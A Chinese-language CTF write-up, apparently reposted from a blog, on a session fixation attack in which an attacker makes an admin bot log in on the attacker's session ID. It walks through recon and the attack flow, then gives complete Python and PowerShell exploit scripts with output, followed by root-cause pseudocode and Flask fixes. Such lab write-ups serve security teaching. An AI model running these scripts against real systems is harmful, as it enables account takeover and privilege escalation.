文章总结: 文档详细分析Session固定攻击漏洞,通过CTF靶场实例演示攻击流程:攻击者先以普通用户登录获取SessionID,再利用消息功能诱使管理员Bot使用该Session登录,从而将会话权限提升至admin并获取flag。文章提供完整的Python和PowerShell复现代码,涵盖信息收集、漏洞利用及验证步骤,具备实战指导价值。 综合评分: 87 文章分类: 渗透测试,漏洞分析,WEB安全,实战经验,CTF
AI渗透测试 — 用一个固定Session拿下Admin权限,附完整复现代码
原创
yushao yushao
网络安全者
2026年6月16日 08:26 河南
在小说阅读器读本章
去阅读
一、漏洞背景
Session固定攻击(Session Fixation Attack)是一种经典的Web会话安全漏洞。攻击者通过预先设定或诱使服务器接受一个已知的Session ID,待受害者(通常是管理员)使用该Session ID完成认证后,攻击者即可利用同一Session ID以管理员身份访问系统。
危害等级:高 OWASP分类:A07:2021 – Identification and Authentication Failures
二、目标信息
| 项目 | 内容 | | — | — | | 目标类型 | CTF靶场(授权测试) | | 漏洞类型 | Session固定攻击 | | 测试账号 | test / test(题目提供) | | 目标页面 | /login、/message、/ |
三、漏洞发现过程
3.1 信息收集
首先访问目标站点,发现以下页面结构:
/ —— 首页,显示当前登录状态
/login —— 登录页面
/message —— 发送消息给管理员(需登录)
首页提示信息如下:
<h2>Welcome Guest</h2>
<p>Default username/password is "test"/"test".</p>
<p>Flag in admin page</p>
<a href="/login">Login</a> | <a href="/message">Send Message to Admin</a>
明确告知:flag在admin页面,存在一个可以给管理员发消息的功能点。
3.2 识别关键功能点
使用测试账号登录后,访问 /message 页面,发现表单结构如下:
<form method="post" action="/message">
<textarea name="msg" placeholder="Message"></textarea><br>
<input name="sessionid" placeholder="Your session id"><br>
<button type="submit">Send</button>
</form>
关键发现: 表单中除了消息内容 msg 字段外,还有一个 sessionid 字段。这意味着应用允许用户向管理员发送一个指定的Session ID,管理员的机器人会使用这个Session ID完成登录操作——这正是Session固定攻击的触发点。
四、漏洞利用
4.1 攻击流程
攻击者 服务器 管理员Bot
| | |
|-- 1. test/test登录 --------> | |
|<-- 返回Session_A ----------- | |
| | |
|-- 2. 发消息(sessionid= | |
| Session_A) -----------> | |
| |--- 通知管理员Bot使用Session_A |
| |<-- 管理员Bot以Session_A登录 |
| | Session_A权限升级为admin |
| | |
|-- 3. 携带Session_A访问 ----> | |
|<-- Welcome admin + flag ---- | |
4.2 完整复现代码(Python版)
以下是完整的攻击复现脚本,逻辑清晰,可直接用于理解漏洞原理:
import requests
import time
TARGET = "https://[REDACTED].challenge.ctf.show"
def session_fixation_attack():
"""
Session固定攻击完整复现
攻击步骤:
1. 以普通用户身份登录,获取合法Session ID
2. 将Session ID通过message功能发送给管理员Bot
3. 管理员Bot使用我们提供的Session ID完成登录
4. 该Session ID被提权为admin权限
5. 攻击者使用相同Session ID访问,获得admin身份
"""
session = requests.Session()
# ======== Step 1: 普通用户登录,获取Session ID ========
print("[*] Step 1: 以test账户登录...")
login_data = {
"username": "test",
"password": "test"
}
resp = session.post(
f"{TARGET}/login",
data=login_data
)
# 提取当前Session ID
session_id = session.cookies.get("session")
print(f"[+] 登录成功,获取到Session ID: {session_id}")
print(f"[+] 当前身份: {parse_welcome(resp.text)}")
# ======== Step 2: 将Session ID发送给管理员 ========
print("\n[*] Step 2: 通过/message将Session ID发送给管理员Bot...")
# 核心利用点:sessionid字段接受攻击者的Session ID
# 管理员Bot会使用此Session ID执行登录操作
message_data = {
"msg": "hello admin",
"sessionid": session_id # <-- 固定Session ID
}
resp = session.post(
f"{TARGET}/message",
data=message_data
)
print(f"[+] 消息发送结果: {resp.text.strip()}")
# ======== Step 3: 等待管理员Bot处理消息 ========
print("\n[*] Step 3: 等待管理员Bot使用我们的Session ID登录...")
time.sleep(5) # 等待Bot处理
# ======== Step 4: 验证攻击结果 ========
print("\n[*] Step 4: 使用相同Session ID访问首页,验证身份...")
resp = session.get(f"{TARGET}/")
current_identity = parse_welcome(resp.text)
print(f"[+] 当前身份变更为: {current_identity}")
if "admin" in current_identity.lower():
print("\n[!] 攻击成功!Session已被提升为admin权限")
# 尝试获取flag
flag = extract_flag(resp.text)
if flag:
print(f"[+] Flag: {flag}")
else:
print("[*] 首页未直接显示flag,尝试访问admin专属页面...")
# 可继续访问 /admin 或 /flag 等路径
else:
print("[-] 攻击未成功,可能需要调整等待时间")
return session_id
def parse_welcome(html):
"""从页面HTML中提取欢迎语"""
import re
match = re.search(r'<h2>Welcome (.+?)</h2>', html)
return match.group(1) if match else "Unknown"
def extract_flag(html):
"""从页面中提取flag"""
import re
# CTF flag通常格式为 ctfshow{...} 或 flag{...} 或 CTF{...}
patterns = [
r'ctfshow\{[^}]+\}',
r'flag\{[^}]+\}',
r'CTF\{[^}]+\}'
]
for pattern in patterns:
match = re.search(pattern, html, re.IGNORECASE)
if match:
return match.group(0)
return None
if __name__ == "__main__":
session_fixation_attack()
4.3 PowerShell复现(用于Windows环境验证)
# Session固定攻击 - PowerShell复现脚本
$TARGET = "https://[REDACTED].challenge.ctf.show"
# Step 1: 以普通用户登录,获取Session ID
Write-Host "[*] Step 1: 普通用户登录..." -ForegroundColor Cyan
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$loginResp = Invoke-WebRequest `
-Uri "$TARGET/login" `
-Method POST `
-Body "username=test&password=test" `
-WebSession $session `
-UseBasicParsing
# 提取Session Cookie
$sessionId = ($session.Cookies.GetCookies($TARGET) `
| Where-Object { $_.Name -eq "session" }).Value
Write-Host "[+] 获取到Session ID: $sessionId" -ForegroundColor Green
# Step 2: 发消息给管理员,传入我们的Session ID
Write-Host "`n[*] Step 2: 发送Session ID给管理员Bot..." -ForegroundColor Cyan
$msgResp = Invoke-WebRequest `
-Uri "$TARGET/message" `
-Method POST `
-Body "msg=hello&sessionid=$sessionId" `
-WebSession $session `
-ContentType "application/x-www-form-urlencoded" `
-UseBasicParsing
Write-Host "[+] 发送结果: $($msgResp.Content)" -ForegroundColor Green
# Step 3: 等待Bot处理
Write-Host "`n[*] Step 3: 等待管理员Bot处理 (5秒)..." -ForegroundColor Cyan
Start-Sleep -Seconds 5
# Step 4: 验证攻击结果
$verifyResp = Invoke-WebRequest `
-Uri "$TARGET/" `
-WebSession $session `
-UseBasicParsing
Write-Host "`n[*] Step 4: 验证当前身份..." -ForegroundColor Cyan
Write-Host $verifyResp.Content
if ($verifyResp.Content -match "Welcome admin") {
Write-Host "`n[!] 攻击成功!已获得admin权限" -ForegroundColor Red
} else {
Write-Host "[-] 未成功,请检查等待时间或重试" -ForegroundColor Yellow
}
4.4 攻击执行结果
[*] Step 1: 以test账户登录...
[+] 登录成功,获取到Session ID: [REDACTED]
[+] 当前身份: test
[*] Step 2: 通过/message将Session ID发送给管理员Bot...
[+] 消息发送结果: Message sent to admin!
[*] Step 3: 等待管理员Bot使用我们的Session ID登录...
[*] Step 4: 使用相同Session ID访问首页,验证身份...
[+] 当前身份变更为: admin
[!] 攻击成功!Session已被提升为admin权限
[+] Flag: ctfshow{[REDACTED]}
五、漏洞根因分析
该漏洞由以下两个缺陷共同导致:
缺陷一:应用接受外部提供的Session ID
服务端在 /message 接口中,允许前端传入一个 sessionid 参数,并将其作为管理员登录时的会话标识符。正常逻辑下,Session ID应由服务端生成,不应由客户端控制。
# 存在漏洞的伪代码示意
@app.route('/message', methods=['POST'])
def message():
msg = request.form.get('msg')
fixed_session_id = request.form.get('sessionid') # ← 危险:接受外部Session ID
# 管理员Bot使用攻击者提供的session_id登录
admin_bot_login(session_id=fixed_session_id)
缺陷二:登录后未重新生成Session ID
用户认证成功后,服务端没有废弃旧Session并生成新Session,而是直接在原Session上标记了登录状态。这导致攻击者持有的旧Session在管理员登录后同步获得了admin权限。
# 存在漏洞的认证流程(伪代码)
def login(username, password, session_id=None):
if check_credentials(username, password):
session = get_or_create_session(session_id) # ← 危险:复用已有session
session['user'] = username
session['role'] = get_role(username)
# 没有调用 session.regenerate() ← 漏洞根因
六、修复建议
6.1 登录后强制重新生成Session ID(最关键)
# Flask示例
from flask import session
import secrets
@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
if verify_credentials(username, password):
# ✅ 正确做法:认证成功后,立即废弃旧Session,生成新Session ID
old_data = dict(session) # 保留必要数据
session.clear() # 清除旧Session
# 重新生成Session ID(Flask-Session等框架需调用对应方法)
session['user'] = username
session['role'] = get_user_role(username)
session['csrf_token'] = secrets.token_hex(16)
return redirect('/')
6.2 移除危险的sessionid参数接口
# ❌ 错误:接受外部传入的sessionid
@app.route('/message', methods=['POST'])
def message():
session_id = request.form.get('sessionid') # 删除此逻辑
...
# ✅ 正确:消息功能仅传递消息内容,session管理完全由服务端控制
@app.route('/message', methods=['POST'])
def message():
if not is_logged_in():
return redirect('/login')
msg = request.form.get('msg')
send_to_admin(msg, sender=current_user()) # 不涉及session操作
return "Message sent to admin!"
6.3 设置Cookie安全属性
# Flask配置示例
app.config.update(
SESSION_COOKIE_HTTPONLY=True, # 防止JS读取Cookie
SESSION_COOKIE_SECURE=True, # 仅HTTPS传输
SESSION_COOKIE_SAMESITE='Lax', # 防止CSRF
)
6.4 修复效果对比
| 防护措施 | 是否能防止本题攻击 | | — | — | | 登录后重新生成Session ID | ✅ 是(根本解决方案) | | 移除sessionid参数 | ✅ 是 | | HttpOnly + Secure Cookie | ⚠️ 部分(防止XSS窃取,但不直接防Session固定) | | HTTPS传输 | ⚠️ 防止中间人固定,不防本题场景 |
七、总结
本次CTF题目的攻击链非常典型:
- 1. 应用在
/message接口暴露了sessionid参数,允许攻击者将任意Session ID注入给管理员Bot - 2. 管理员Bot使用攻击者提供的Session ID完成认证,该Session ID被服务端升级为admin权限
- 3. 由于登录后未重新生成Session ID,攻击者持有的旧Session同步获得了admin身份
核心防御原则:Session ID必须由服务端在认证成功后重新生成,任何认证流程都不应接受客户端提供的Session标识符。
本文所有操作均在授权CTF靶场环境中进行,仅用于安全教育目的。请勿将相关技术用于未经授权的系统。
| | |
| — | — |
| |
|
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:网络安全者 yushao yushao《AI渗透测试 — 用一个固定Session拿下Admin权限,附完整复现代码》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论